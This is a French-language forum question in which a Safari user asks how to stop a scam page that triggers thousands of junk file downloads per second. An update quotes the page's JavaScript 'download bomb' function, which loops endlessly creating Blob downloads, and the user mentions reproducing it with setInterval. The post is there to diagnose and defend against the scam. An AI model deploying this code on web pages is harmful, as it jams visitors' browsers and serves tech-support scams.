Contexte
Une nouvelle page de spam a commencé à apparaître sur de nombreux sites "douteux" (sites de cinéma, etc.). Cette nouvelle page de spam s'inscrit dans la catégorie des faux scans, MacKeeper, "VOUS AVEZ UN VIRUS", etc.
Problème
Le problème avec cette nouvelle page est qu'au lieu d'avoir simplement une fenêtre contextuelle, la page lance en fait un téléchargement de fichiers aléatoires de 2 Ko (non dangereux ne contient que du texte aléatoire) à plusieurs reprises tous les ~ 1 ms. Le dossier de téléchargement se remplit avant de pouvoir fermer la fenêtre et vous êtes en train de supprimer plus de 1000 fichiers. Contrairement à un problème similaire dans lequel un spam de page fait apparaître la boîte de dialogue d'impression, il y a très peu de temps pour réagir.
Échec des tentatives de dépannage
J'ai essayé de verrouiller le dossier de téléchargement. Bien qu'il ait empêché les téléchargements de ... eh bien ... de le télécharger, une boîte de dialogue (voir image) apparaît. Habituellement, je pouvais simplement fermer cette boîte de dialogue, mais comme le téléchargement est tenté toutes les ~ 1 ms, une nouvelle boîte de dialogue apparaît chaque fois que j'essaie de fermer, m'empêchant de fermer la fenêtre.
Forcer à quitter Safari, ce qui arrête le téléchargement (après les téléchargements de 1k) mais je perds toutes mes autres fenêtres
Changer les paramètres en «Demander pour chaque téléchargement» dans les préférences de Safari. Ne fonctionne pas parce que 1 Ko de boîtes de dialogue séparées m'empêchent même de fermer l'onglet. Éventuellement planter Safari.
Question
Comment puis-je empêcher les téléchargements de spam dans Safari?
MISE À JOUR:
Voici le code à l'origine du téléchargement (obtenu en désactivant JavaScript et en parcourant manuellement le code):
function download(g, h, j) {
var k = new Blob([g], {
type: j
});
if (window.navigator.msSaveOrOpenBlob) window.navigator.msSaveOrOpenBlob(k, h);
else {
var l = document.createElement("a"),
m = URL.createObjectURL(k);
l.href = m, l.download = h, l.click(), setTimeout(function() {}, 0)
}
}
function bomb_ch() {
var g = Math.random().toString(36).substring(20),
h = Math.floor(50 * Math.random() + 25);
while (true) download(h, g, g)
}
function ch_jam() {
bomb_ch()
}
Remarque: j'ai rencontré des problèmes lors de l'exécution de JS sur une page personnalisée. Il a gelé au lieu d'être téléchargé. J'ai pu émuler le téléchargement en utilisant une setInterval()
fonction appelant la download
fonction.
Plus d'informations: https://blog.malwarebytes.com/malwarebytes-news/2018/02/tech-support-scammers-find-new-way-jam-google-chrome/